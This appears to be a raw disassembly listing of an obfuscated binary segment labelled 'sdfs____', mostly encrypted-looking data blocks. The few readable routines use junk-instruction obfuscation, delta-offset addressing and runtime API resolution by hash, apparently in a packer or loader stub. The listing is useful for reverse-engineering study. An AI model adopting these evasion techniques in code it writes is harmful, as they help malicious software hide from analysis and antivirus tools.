dd 305CC511h, 0FA829703h, 730A982Ah, 3681C294h, 0D6F43CA1h dd 2F66EE78h, 0C4B8F8A9h, 4A58305Ch, 0F25A68B4h, 0BCC61E58h dd 5F025674h, 67183FA7h, 2136B67Fh, 8363F1F3h, 4A9B2901h dd 2E4CE0A0h, 0DC782A98h, 0FBB6403Ah, 305CC4BBh, 4FE34F55h dd 0C97D9531h, 62C25024h, 6ABAC456h, 5C6ECA58h, 0F3B3EE78h dd 1D305CC4h, 4D89CB1h, 6D00E87Eh, 0AAD267C6h, 4BA485Ah dd 0DC782763h, 0D4F74339h, 0B930D3DCh, 361Ah, 0A4B3A800h dd 978BD33h, 305CC589h, 78AB198Bh, 0AED066EEh, 0AAD47A56h dd 7EBA485Ah, 3EDC784Ch, 2CC0F43Ch, 0FF77984Eh, 4AEB5D66h dd 5B97FE83h, 3A5169h, 0B3F10000h, 3D9933A4h, 2805C18h dd 0EE789436h, 7B9FD366h, 11A73D01h, 0C9081CDh, 0D41CB230h dd 5CC57535h, 0A51BA930h, 0A64ACA78h, 421E4BD3h, 99FC79Bh dd 57FF775Bh, 4C7EBAC2h, 0FFFEE951h, 0A04AF1FFh, 0A8420ED6h dd 0E10C27CEh, 0CEADE476h, 0C437B5ABh, 439F06DEh, 392873ACh dd 2953E76Fh, 0DFFC9DC1h, 8C19F4E5h, 3B01h, 0A0B3A100h dd 0EDECA537h, 5F37B5AAh, 0C51963F7h, 158F73BFh, 4B35DB83h dd 0ED01E9FBh, 73AA9834h, 20BA4C28h, 0BBEE6CA4h, 2873A9FBh dd 3FA38F15h, 0FB837D9Eh, 0D3E38C19h, 0C7000000h, 0ED6A04Ah dd 71CDAF42h, 79C5B745h, 0DCDCD56Fh, 34305CC4h, 416826Eh dd 448CFB7Ah, 84305CC1h, 0EA720476h, 0F1FC3446h, 0A4FDB547h dd 8C958927h, 39CF5BCFh, 0A3B511ABh, 0B37F05D9h, 0DAD7617Fh dd 305CB3DAh, 4EEC683Ah, 66D2D02Ch, 0AD3FA84Bh, 0B592E5F4h dd 0DE574D37h, 6DFF688Bh, 0C7BBE534h, 0DED3CD2Fh, 2087BADEh dd 4CDE6C36h, 4060CDB1h, 816917E9h, 0E29ABF27h, 863AD353h dd 2E028B39h, 87077A0Ch, 892086D9h, 56FBDF1Bh, 0D688B26h dd 0D8143C34h, 225E7h, 0CAAA4100h, 1765892Bh, 621C329Eh dd 0B33161D3h, 0F9839602h, 5743E474h, 993BBAC2h, 0CF690488h dd 73DD5028h, 71169FD9h, 2B3C7C35h, 0A6D4286Dh, 0D5A74AC0h dd 1C5EFC58h dd 0A0B33191h, 0EDECA537h, 0A537B5AAh, 627E27FFh, 62873AAh dd 3E8653FAh, 0B88C19FBh, 0CAh, 0B3EE780Ah, 305CC4F3h dd 76C1A1E4h, 157961A9h, 0E577A38Fh, 0A33D4B9Bh, 5C48AEEEh dd 0F43C6630h, 0F74F2DC0h, 5C45C60Eh, 8AF40630h, 0D1A349EBh dd 1CBDB80Dh, 20A282F8h, 3A89F892h, 237B524h, 24793968h dd 99B2873h, 0CE673D21h, 7D0F989Bh, 662451E0h, 0C28A4B98h dd 0E6522Ch, 0C7DCDB91h, 39D3D12Fh, 6AFC789Dh, 0D3334DE2h dd 389419D1h, 25CA6715h, 0A33C3509h, 1503C93h, 81AA0000h dd 3ED27EF7h, 0F107B13Ch, 5A4AE68Fh, 56FB55D8h, 18118F26h dd 4EE795B8h, 0BC31B3E2h, 0F07DFF10h, 29C4B644h, 67275A44h dd 0A9286D2Bh, 0ED782D93h, 414A701h, 0FEDA1652h, 7A02175Bh dd 0EB8A18AAh, 47D1A349h, 2B07799Fh, 0A04A1CA6h, 749844D6h dd 0DAF62A06h, 0F4AF4630h, 255CEE79h, 37B5C2A2h, 0BBFBB6F0h dd 552873C1h, 5DA1D379h, 8923B147h, 0A04D2FCDh, 8B89AF46h dd 3808DE9Ch, 4436C4F0h, 0C4F1BB2h, 0D2324AEFh, 9C6445D0h dd 0D8E63AF6h, 409CDE7Ch, 4769A42h, 934EAA38h, 0C851780h dd 3062EF9Dh, 43620F95h, 113C3937h, 9CEADDh, 3DDE0000h dd 0F206B243h, 0A54BE588h, 0A6FE5ADBh, 0A2F8924h, 0CC6DC372h dd 823349ECh, 0F07DFF16h, 24C9B344h, 9D106288h, 0B3F3AEF8h dd 5D286D29h, 0A0B3792Fh, 430BA537h, 6766D252h, 384C451Ch dd 4A54A8FAh, 44C1C1B0h, 5153286Dh, 5A1F3D99h, 33D77CC2h dd 0A64FDD2Eh, 70A0E00Ah, 29012F2h, 6E1A4322h, 9BBD2F9Fh dd 5A2436F2h, 0A1D379DBh, 0A321715Dh, 8A522C43h, 9AB01466h dd 0B27E04D8h, 0D765AF4Eh, 8EAC08A5h, 0CE9610ECh, 0F78D512Bh dd 8843Bh, 52FA0000h, 5072BEB8h, 0A14AF654h, 0A9430FD7h dd 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h dd 0CD636FB7h, 0D36753B3h db 0A9h, 55h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp push 7EF8241h mov eax, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], eax pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_58B97E ; --------------------------------------------------------------------------- db 7Dh dd 189CEA1Ch db 0A9h, 0F3h, 5Fh ; --------------------------------------------------------------------------- loc_5EDA7B: ; CODE XREF: sdfs____:005EBF38j mov eax, 7EF9C55h add eax, ebp push eax mov byte ptr [ebp+7E92659h], 47h push 0CF381725h push dword ptr [ebp+7E92669h] lea eax, [ebp+7E93ABCh] call eax mov ebx, eax lea eax, [ebp+7E90349h] push eax push 104h call ebx ; _iob mov byte ptr [ebp+7E92659h], 53h push 8307F8BFh push dword ptr [ebp+7E92669h] lea eax, [ebp+7E93ABCh] call eax mov [ebp+7EF8015h], eax cmp dword ptr [ebp+7E92EB5h], 0 jz loc_5EDAE5 mov ebx, [ebp+7E909C5h] jmp loc_5EDAEA ; --------------------------------------------------------------------------- loc_5EDAE5: ; CODE XREF: sdfs____:005EDAD4j mov ebx, 0 loc_5EDAEA: ; CODE XREF: sdfs____:005EDAE0j push 100h lea esi, [ebp+7EF8019h] push esi push ebx call dword ptr [ebp+7E930E1h] lea esi, [ebp+7EF8019h] add esi, eax jmp loc_5EDB0B ; --------------------------------------------------------------------------- loc_5EDB0A: ; CODE XREF: sdfs____:005EDB17j dec esi loc_5EDB0B: ; CODE XREF: sdfs____:005EDB05j cmp byte ptr [esi], 5Ch jz loc_5EDB1D cmp byte ptr [esi], 2Fh jnz loc_5EDB0A loc_5EDB1D: ; CODE XREF: sdfs____:005EDB0Ej mov byte ptr [esi], 0 lea eax, [ebp+7EF8019h] push eax call dword ptr [ebp+7EF8015h] pop eax jmp eax ; --------------------------------------------------------------------------- dd 731D80FEh, 442A7605h, 593F5A72h, 373AE6A9h, 1DC4E175h dd 1553067Eh, 0E8A16E5h, 0C7ED018h, 301F978h, 2E963998h dd 6D34C6C7h, 14E3B19Fh, 342652E4h, 586BB6D3h, 7D8E2DFFh dd 3239AB7Dh, 5E3B9707h, 2F79B957h, 62D55E80h, 524EBB02h dd 76F91DE2h, 683D9A05h, 799E466Eh, 28BEF033h, 29789D6Fh dd 3C76E4C2h, 4BB9C3FCh, 7375C26Fh, 18A23315h, 4988570Fh dd 0CE8h, 0B4849F00h, 626CAF55h, 62A688B0h, 82AEBBB2h dd 0E9591BE1h, 11h, 0D2B84127h, 301120D9h, 23B1979Fh, 15B4C4F6h dd 8DC18186h, 8000005Dh, 0E9BA14C4h, 812D0BA5h, 0F4715CC2h dd 9524BED2h, 31FF2DE7h, 32C08166h, 81665FD5h, 81EF44EBh dd 63913DC7h, 1D20B87Eh, 0EF8128AEh, 8EFF020h, 55F781F8h dd 0F68B3CCh, 8F57F1B7h, 4E98301h, 0EA81D98Bh, 1, 0FFC4850Fh dd 8D8DFFFFh, 7EF9F27h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0D0C35242h, 12E9E38Eh, 0AF000000h, 47EA49F4h dd 0D22E8A13h, 86FAFC3Fh, 0B9852CB0h, 0D8D89ACh, 8007E932h dd 85C748D3h, 7E922E5h, 63ACh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 5AC35545h, 66BA178Fh, 0C7476F84h dd 0E922B185h, 7, 66B6BB00h, 0B5FF30A9h, 7E9170Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0CDC35646h, 0B7B6BCB4h dd 8595FF2Fh, 6607E922h, 6ADE8Bh, 0C3195FFh, 0C08B07E9h dd 9C0D28EBh, 4DC6A985h, 337E1B96h, 9AB39DFFh, 0C5A0ABC8h dd 0F5D8BFEh, 325DF423h, 85D8EECAh, 3DF8319Dh, 0EBAFEA61h dd 0EE8A636h, 77000000h, 0D6F07F87h, 2C9CD08h, 0C18BA211h dd 419531C5h, 5B07E907h, 0AFD18166h, 64C38104h, 0BA000072h dd 440DBF2Fh, 1C7568h, 37BA6600h, 81665E2Bh, 8BF691C9h dd 0E881663Bh, 0F7810179h, 3B4457EAh, 81BADC80h, 337BCCC7h dd 0DD950927h, 8107E90Ch, 693825EFh, 0F5858964h, 8907E901h dd 0CD958B3Bh, 8307E907h, 958B04EBh, 7E93135h, 0E850F4Eh dd 8B000000h, 19E9CEh, 5BCD0000h, 59C4A1D4h, 5DB529A0h dd 0E907E92Ah, 0FFFFFFA7h, 30A108DAh, 0E95D8D8Fh, 57h dd 3443C647h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Dh dup(0) dd 0E9000000h, 6A3h, 0EFA19F68h, 0DB6CE907h, 6F68FFF9h dd 0E907EFA2h, 0FFF9DB62h, 0EFA2F668h, 0DB58E907h, 0E468FFF9h dd 0E907EFA3h, 0FFF9DB4Eh, 0EFA4D768h, 0DB44E907h, 9F68FFF9h dd 0E907EFA5h, 0FFF9DB3Ah, 0A4492BC0h, 1F96E408h, 4CE19BBDh dd 8332B0E0h, 0F578FC11h, 43D6C267h, 918B439h, 0A94EEA8Bh dd 58F25ED7h, 0B4EE971Eh, 6D24BDFDh, 47255728h, 5C57EE78h dd 0B4403171h, 5EDFDFD2h, 7331305Ch, 360887h, 4A5A0000h dd 0DFDFD2A0h, 31305CC4h, 7ACAB245h, 0B244DA68h, 0EC79FB2Ah dd 0D70F5B0Eh, 0DD11D9C2h, 94195BF1h, 5C29D1EDh, 0F484AB30h dd 2A54FA62h, 2DF173A2h, 0EC565B97h, 0A537A0B3h, 0B5A569ECh dd 0AB7B2937h, 73A5DEFAh, 6A048228h, 73A67737h, 0B8BC5128h dd 6C365E64h, 0EA3AB8E8h, 4DEC10D8h, 19FF348Ch, 219B28Ch dd 3F100000h, 0B72732B8h, 67EFD466h, 19B2930h, 0B4F55D90h dd 0CF4F5537h, 254D8B36h, 28BFBAECh, 2D60E39Eh, 5A366B9Dh dd 0EBCBCDB4h, 43C83F4Eh, 72C71FADh, 47E874E7h, 0A6DBE935h dd 5C5B32E6h, 54E6742Eh, 0AF93245Dh, 0F228E63h, 7FC7B15Bh dd 750FD765h, 638955E7h, 1A309C11h, 0BD0BD158h, 0BB8BE80Fh dd 49D04h, 3646D500h, 83F91DBFh, 0CEB046F2h, 1F9DF527h dd 65173A96h, 0FBD750C8h, 2D8F2656h, 53FD70F4h, 8731BCBCh dd 56A0B75h, 23A8E899h, 5268286Dh, 0E0A04A6Ch, 87F5184Ch dd 59725BFh, 5CC50C8Ch, 89E0430h, 61F66134h, 9533DAD7h dd 416337B5h, 786E75ACh, 0A1D06AFDh, 2FCC6F2Eh, 47FE1E84h dd 992BB3CEh, 1191009Ah, 387ECB5h, 999449A1h, 48E27C0Eh dd 0B4C3C3BEh, 574D87ECh, 0ECB56222h, 0B4F7B287h, 4DBC9925h dd 6918D066h, 8F4510E6h, 5B2EF6ACh, 20BD4FD8h, 751A1DCh dd 0C3250DDFh, 577595CEh, 0F18B1987h, 225AFF67h, 0CDCDC4C2h dd 47781675h, 0B763CF5Dh, 8541DBA5h, 0AB390577h, 44D6424Fh dd 0C193BF3Ah, 93A38BA7h, 3CD3Ch, 66162500h, 0B3C96DCFh dd 0FE809602h, 4FCDC577h, 95E70AA6h, 0CBA78018h, 7DDF5626h dd 0A30DA024h, 0D741EC8Ch, 0D5BA3B45h, 22D8D8C9h, 238286Dh dd 0D6A04A5Ch, 2FB8BB0Eh, 0B15B039Dh, 218A36C7h, 4F66C59Fh dd 0F02BE2E3h, 990B37B4h, 41D64114h, 50DCFAB7h, 52503062h dd 29D32DB8h, 0F4B32666h, 822AA3Ch, 0C755C76Eh, 999469B5h dd 4E057C0Eh, 9E27DC0Bh, 815DDF36h, 594B3703h, 2337E4D0h dd 13449824h, 346h, 50DD9FBCh, 8B2A50E4h, 0F8750729h, 2FC6445Ch dd 610C688Dh, 0AF422E0Bh, 9DF420CDh, 153A961Fh, 0CC6ECA6Bh dd 405A03B2h, 6D235151h, 0DB89C328h, 0ED6A04Ah, 15F2E570h dd 62A8ABA7h, 8A81F18Ch, 3EFA88E1h, 0BC51F063h, 0C85E64B8h dd 43AC433Eh, 980A37B5h, 1D9A015h, 3FC20000h, 0B55804B3h dd 8D657FC7h, 38D245D0h, 46F4F3ADh, 846C68FEh, 6C7C6F22h dd 6F3A37B5h, 0BF30296Dh, 0B56B9027h, 9E129CACh, 0E3927A08h dd 0FD180307h, 700A9D98h, 8EF77601h, 14CF663Ah, 0EFFC192Ch dd 7C26CA26h, 0F28C26A0h, 4D4CFFBFh, 1E93112Bh, 2B4D4C9Eh dd 29C42C76h, 920F990Eh, 32A1ACD9h, 1056F9D5h, 1AEA78FAh dd 2E29CBEh, 0CA5CF280h, 0FC8EE802h, 2A54FA62h, 0D9D9C8DAh dd 3B2360ACh, 903C8169h, 4D71F87Ah, 753F1D96h, 258C6F9h dd 8DAE0000h, 42D642F3h, 0F51BB538h, 564EEA8Bh, 5AFF59D4h dd 1C1D9322h, 52E399BCh, 802DAFE6h, 0F4790314h, 2DC0B258h dd 63235E48h, 0AD286D22h, 0A04A299Fh, 0B8BB0ED6h, 56009D2Fh dd 82E85F67h, 39687EBAh, 37B539D2h, 1124A03Ah, 98099B6Bh dd 28733918h, 0A24EAAF8h, 2BB66D00h, 9B2DBAB5h, 865E1E33h dd 77376AFCh, 99287339h, 0C8B92F0Bh, 2FCC1315h, 6E07079Dh dd 0AEE82949h, 0BCFAA63Fh, 0AE3E2Fh, 6DFA7528h, 0FAB741DBh dd 91A88CBAh, 6A8C485Ah, 5E29D810h, 4E990182h, 710A9CB7h dd 17E3B6F1h, 27AF396Bh, 0BDBF5D15h, 65CDD72Fh, 6EF974C9h dd 0D8ACA5DCh, 9C069113h, 9EB8730Ah, 0C24D549Dh, 0D3AFCFCFh dd 0CD634181h, 31DB8365h, 0F929B547h, 0B432BF7Bh, 0B027671Ah dd 8DE981D3h, 0B6CC1094h, 4EECC820h, 9BA7852Ch, 0BFB79D68h dd 16508h, 0FE7E9D00h, 4B31C577h, 96E80EAAh, 0E765BD1Fh dd 2D4FE24Eh, 0A30F2880h, 0D547EE8Eh, 1BB538BCh, 4FE984F4h dd 3D22D3ADh, 21703061h, 6AA0286Dh, 0D6A04A34h, 0B7F7AA44h dd 59305CC4h, 0FEB3EF4Bh, 5F52E473h, 37B5A4E8h, 0AFC1534Eh dd 0DE3C4CD4h, 0B31DA548h, 0ECA537A0h, 384C24A8h, 91EB0C68h dd 17A1374Dh, 3CC0D17Dh, 7E2AC0F4h, 610CA2DCh, 0C4B45905h dd 6D24CDCDh, 0CF5D4728h, 11856D77h, 0D0A579FBh, 4938D245h dd 305C8573h, 9221ECB9h, 65F855F6h, 739945D7h, 2AC06C01h dd 50EAF448h, 7D536121h, 39F1B320h, 0CC5EC964h, 0D63A9AD5h dd 0D47AE227h, 8C485AAAh, 3B271369h, 4EAC069h, 7ACA2429h dd 9D45h, 3646D500h, 83F91DBFh, 0CEB046F2h, 1F9DF527h dd 65173A96h, 0FBD750C8h, 2D8F2656h, 53FD70F4h, 8731BCBCh dd 56A0B75h, 1FA8E899h, 5268286Dh, 37A0B36Ch, 0A9430BA5h dd 856D77CFh, 4C24F2C4h, 98643E38h, 0D15C1E3Ch, 11ABD567h dd 258A0A87h, 188A286Dh, 2493138Eh, 277D286Dh, 0E3EE97CBh dd 7A3C01C3h, 5FFD37D6h, 1624901Dh, 4938D264h, 0F4C0C349h dd 0DD11D9CBh, 0C323A1F1h, 0E50AD2ACh, 8A335F9Bh, 33C2BC5Eh dd 35096B81h, 0D82h, 0D254DC00h, 0C5494938h, 0D9CB305Ch dd 0A14AB311h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h dd 3EDh, 56242489h, 4BEh, 24740100h, 89565E04h, 4C681E6h dd 83000000h, 348704EEh, 1C895C24h, 0E6895624h, 4C681h dd 0EE830000h, 24348704h, 243C895Ch, 7BBA5250h, 895AF805h dd 0F055AD0h, 89ACF79Bh, 8B5458C3h, 0C483243Ch, 8BA5204h dd 1000000h, 2C8153FAh, 900FFC24h, 81028F38h, 900FFC02h dd 34FF5A38h, 0C4835F24h, 241C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- rcr byte ptr [esi-12h], 1 mov eax, 7EFA661h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 44F51051h, 5642DA1h, 472AE39Fh, 2EAA81Eh, 452C5784h dd 76E84005h, 8307850h, 8E8h, 96F7BB00h, 7C550BADh, 11E9F9h dd 0CA00000h, 713D0826h, 568FB3E0h, 5CFC498Eh, 5937BC43h dd 0C181C38Ah, 61ECh, 2BF0BF0Fh, 113C8BD2h, 7203F381h dd 0C7816769h, 50574CB4h, 0B164C781h, 0EF813259h, 641441A4h dd 28F0F53h, 0B7000000h, 8F575B50h, 0B8661104h, 0BE9F762h dd 15000000h, 5F14ACF0h, 39C21AF2h, 0EA83DCB2h, 0D3816604h dd 0FA817F3Ch, 0FFFF9E9Ch, 0FFAF850Fh, 0AE9FFFFh, 6C000000h dd 0D47F8B70h, 76C34F55h, 26E996h, 48C70000h, 1FCEh, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5EEA4E ; --------------------------------------------------------------------------- push 7EFA8DDh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EFA95Fh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EFAAC2h jmp loc_58B97E ; --------------------------------------------------------------------------- db 0BFh dd 0E751DC9Ch, 28842953h, 5FF97406h, 8C28C547h, 0A621369h dd 0CCA84D2Dh, 1E9EF721h, 6A122597h, 0B1C369CBh, 524F5B3Ch dd 286D1E52h, 78DA88C2h, 36E36EDh, 0F43CE432h, 0D3792DC0h dd 2AADFDA6h, 92202A12h, 869420FCh, 61ED79F4h, 5553B331h dd 5C155C5Ch, 58EEB430h, 0C552DD90h, 0F2F77E33h, 59F37B4h dd 0F36C4839h, 0EC102872h, 0B2348C4Dh, 0E9B28C1Ah, 34000002h dd 2EF684A8h, 3F6E5C94h, 0AD3A35B9h, 9F73661Bh, 614337B5h dd 38390CA5h, 2DC8054Dh, 19543CBDh, 71D5B24Fh, 3D479FDDh dd 0C1641DAFh, 51326771h, 55A9D365h, 7B91F248h, 9C326F20h dd 8617970Ah, 0ABF92325h, 0B8E98315h, 232585F8h, 72AE8A18h dd 912BBCBFh, 7E4A88E0h, 0E07A282Ah, 9A4D664h, 46F38DAFh dd 26C1FDC7h, 0B665995h, 97000003h, 0DF79F484h, 0AC413Bh dd 0B7E18CEEh, 0E450DD5Fh, 128A2B51h, 0E490A515h, 36B6EF49h dd 82FA1DBFh, 0C9AB41F3h, 2A674324h, 286D1D6Ah, 0B33290AAh dd 88EC01A0h, 0ADE460FAh, 38CDD72Fh, 66CC075Bh, 0AE38F05Bh dd 4BF787F3h, 75AD0938h, 0FD761F7h, 9B1B96EAh, 75286CF7h dd 0B814992Fh, 661FE795h, 286CF849h, 0DCA5B71Fh, 2BE7FE36h dd 8F57E51Ch, 73993DF5h, 61D36801h, 7DF1340Eh, 2894Ah dd 76061500h, 0C3B95DFFh, 0E708632h, 5FDD3567h, 0A5D77AD6h dd 3B979008h, 6DCF6616h, 933DB034h, 0C771FC7Ch, 0C5AA4B35h dd 1BE8A8D9h, 1228286Dh, 37A0B3ACh, 16960BA5h, 36305CC5h dd 6E345822h, 0FA3648EEh, 678A52ECh, 7FBBC915h, 4C1CE28Eh dd 2CF0B238h, 59DBCA92h, 1CD4F091h, 8394286Dh, 87A925F9h dd 0F64E2EC3h, 0F8865EECh, 6D1D0989h, 0C2990B28h, 0B9E91BC2h dd 113DA53Bh, 8459AB68h, 71958C20h, 2D000001h, 44D6A04Ah dd 3F077598h, 73018393h, 0CD6F6B87h, 0CC6F02B3h, 9E37C15Bh dd 0DB6B461h, 34D51D12h, 37B4E055h, 0EDD22EC7h, 35E87B67h dd 0F99311FDh, 9372326Fh, 36A22873h, 0F88A5A24h, 0B3528E6Ah dd 28739317h, 7B9841CDh, 8C1A0E89h, 34E5h, 0A0B3FD00h dd 0EDECA537h, 0A537B5AAh, 225FD9C9h, 2873AA62h, 0CC62F0B2h dd 0AA359170h, 272B2873h, 0FB6B5586h, 35C08C19h, 0B83771E2h dd 35E9A4Ch, 94h, 29ED78A7h, 6470EC83h, 28C2F642h, 37DAF64Eh dd 3FDDF945h, 47D5E13Dh, 0C98DEF03h, 0FA8854D8h, 0BCBAC964h dd 38305BC1h, 9ACD6012h, 37E089Fh, 37AFEDEAh, 804CDEC4h dd 0C1271391h, 0E984F005h, 0AA0DE07Dh, 0FF24FB02h, 0A728733h dd 0D323C6Fh, 5B0CC034h, 126h, 9C116388h, 0D75E1C30h, 4A9D365h dd 7BFA78A8h, 0AD4034D9h, 7B9EFA3Fh, 0D1C06C01h, 0E176A253h dd 90BA169Fh, 7C264FE6h, 6D1B8505h, 0F7D8F28h, 4CE3A74Ah dd 0A5179E2Ch, 0FA48E597h, 0ED6A04Ah, 3CCEA842h, 30F87A90h dd 0E87FFAADh, 78A9235Eh, 9D0737B2h, 0CDAF430Bh, 0C9B34571h dd 11D96F75h, 0BB51FD97h, 935F65B9h, 0CB6A1227h, 737820BCh dd 4032D828h, 0DA731ADh, 73781494h, 0F3A6FC28h, 287377B3h dd 0A321715Dh, 5CF1250Dh, 9393C418h, 33000000h, 0A537A0B3h dd 4C1C84ECh, 4E960C38h, 0E78EE802h, 0A0D1A7B5h, 286D1CE0h dd 1CD7D7CAh, 6B39286Dh, 51EB792Bh, 0D31F9DF5h, 3668E69Fh dd 6B8D208Bh, 8AF406C2h, 0D1A349EBh, 0A8D9730Dh, 104B36E8h dd 3ED27A28h, 0D0C0F43Ch, 33C6F252h, 36D9F549h, 60E4FE46h dd 3C53B331h, 0A2B77118h, 0B5DB44DAh, 0BE48E214h, 4B36C3C3h dd 22574D10h, 104B3762h, 9C38F0B2h, 0B6F1FB7Eh, 95EAAAE7h dd 782A104Bh, 4A2648EDh, 7D9F39B4h, 38C2303h, 0D6000000h dd 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 815E55A9h dd 4ECh, 24148900h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 468241Ch, 89000060h, 0B8502414h, 0A5F79D3h dd 0A05A1435h, 0F7D8F758h, 7BD12DD0h, 0C3894B0Fh, 8124048Bh dd 4C4h, 4EC8100h, 89000000h, 4812424h, 424h, 0EC835A00h dd 241C8904h, 8B08428Fh, 89522414h, 4C281E2h, 81000000h dd 4C2h, 24148700h, 2434FF5Ch, 4C4835Bh, 0F9CF35E9h, 36B1E0FFh db 5Ch, 1Dh ; --------------------------------------------------------------------------- loc_5EEA4E: ; CODE XREF: sdfs____:005EE58Cj mov eax, 7EFAC0Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0FEh dd 7C315353h, 0D86B450Fh, 0D37C54F5h, 1374D312h, 361F8EC1h dd 3E5ABAA4h, 482BFA25h, 0DC45097Bh, 9937EACDh, 613EAED4h dd 6E49B905h, 0D72C36D2h, 9F7C6514h, 341CBAC1h, 37233182h dd 931A0962h, 0C85B17EDh, 2A1755DAh, 2A2D8CBBh, 746AEF5Dh dd 0CB017003h, 884F16DEh, 0FB69BC32h, 3585D2Ah, 34084249h dd 0B1F3356h, 9215565Eh, 33188FE8h, 0D34B6F9Ch, 5C703321h dd 8D34468Eh, 0EFAE1B8Dh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 41BD89B2h dd 8B07E92Ah, 0E91B5585h, 0D8D8907h, 6A07E932h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0AD3CC351h, 89C05149h, 0E9117DB5h, 99958907h, 0C707E934h dd 0E922E585h, 6EB007h, 0FE96000h, 48000000h, 0D8B71C58h dd 0CB026C4h, 713F3D56h, 0BF662CF2h, 0C76126F4h, 0E922B185h dd 7, 8E800h, 30890000h, 0DFE812A7h, 0BD8BF734h, 7E91DD5h dd 0D1B5FF58h, 6A07E912h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 9F4EC357h, 9B7CAFE5h dd 0DAC0EE22h, 228595FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 863F5CC3h, 81503A63h dd 84DE51F0h, 6A5F62h, 0C3195FFh, 0C08B07E9h, 54E419EBh dd 0BA5F4C6Eh, 4FE3BBAFh, 989116E1h, 229C34B6h, 93060D19h dd 8DD03369h, 0EFAF078Dh, 6880F07h, 8B000000h, 0E92699B5h dd 0D8D8907h, 6A07E932h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 1774C357h, 0DD85011Fh dd 0C707E900h, 0E922E585h, 639007h, 0DED38100h, 0C719C5C9h dd 0E922B185h, 7, 0CD858B00h, 8B07E922h, 0E913319Dh, 0DB5FF07h dd 6A07E917h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0F167C357h, 6D813BF4h, 858B1223h dd 7E91191h, 0F2816653h, 0FF5EA944h, 0E9228595h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0F75E8B01h, 76969EC3h, 0BA668FC3h, 6A3C72h, 0C3195FFh dd 0C08B07E9h, 0E52528EBh, 0BD5A1EBDh, 0D96520ADh, 865D991h dd 0CEEB4732h, 1C1EA7DCh, 846FBDDh, 123B4FDDh, 19D31ED4h dd 495425BCh, 2DE93C8Ah, 2D000000h, 7D2F04h, 0Ah dup(0) ; --------------------------------------------------------------------------- jmp loc_5EF255 ; --------------------------------------------------------------------------- db 21h, 0Ah, 6Ah ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 69h, 0C5h, 0B7h dd 27C923Eh, 53D1C173h, 99E376A2h, 37A38414h, 79DB5A22h dd 0AF09A428h, 0D37DF088h, 0D1B63F39h, 15DCDCD5h, 634286Dh dd 0D6A04AA0h, 0B7F7AA44h, 59305CC4h, 136D834Bh, 2ACF8B27h dd 55A9D364h, 9834B94Fh, 0A23C0072h, 48E200Bh, 0FAFC89F3h dd 0B81CD4BDh, 0BC56E092h, 5C90C5C5h, 9D554F30h, 0ADE17541h dd 0C1ABF68Bh, 1C633278h, 0A824F88Eh, 0AE2AFA78h, 6328F476h dd 0FF5E9C3Dh, 0DA70B455h, 94BB1598h, 0E2423CD2h, 71A352E0h dd 400C9EDEh, 2FADE450h, 0B11D5199h, 0FBBEA60h, 6FFD93EDh dd 0BD5C6097h, 8FA2E40Bh, 0B7C569EDh, 2EC7556Fh, 970A6882h dd 305C4C17h, 6011ABF9h, 305C4C20h, 0C01CB2F0h, 5C4C8621h dd 0AB34530h, 3158F7C9h, 5B7784h, 4A530000h, 970ED6A0h dd 305CC515h, 0A75FFE12h, 0C514940Dh, 0A6FC305Ch, 4C05C917h dd 0BC746DFAh, 31D5B50Fh, 0A3184h, 18B50000h, 0D040C2DFh dd 3496627Ch, 8D4A64Ah, 53E4A84Ch, 39CFD529h, 3BB9E9E5h dd 0A34AEEEBh, 7399CD61h, 4CD97301h, 8833A23Ah, 23AE8A2Bh dd 94195BF1h, 0D5A74A2Eh, 7719B43h, 6DE9F72Bh, 5D79B1CBh dd 0A863C3B9h, 0EE03C564h, 0A7B5E78Eh, 0AB4D09D5h, 0C4DCDCD5h dd 6E34305Ch, 8F864ED8h, 0D765173Bh, 61BD750Fh, 0F724C549h dd 8430D9FDh, 6079h, 4FE16D00h, 0F187F11Bh, 0A74A8B39h dd 0AB4D09D5h, 9A2850E7h, 44E50F4Ah, 660F6D80h, 895527CAh dd 8F57D5CDh, 498A33DFh, 8430DA67h, 8BEE00CCh, 0CB6BC162h dd 0EB47D5B0h, 42B6h, 0ED780C00h, 0FBBA64FFh, 17836F66h dd 0D0AA4C02h, 1CE0760Ch, 0BBEB9FB0h, 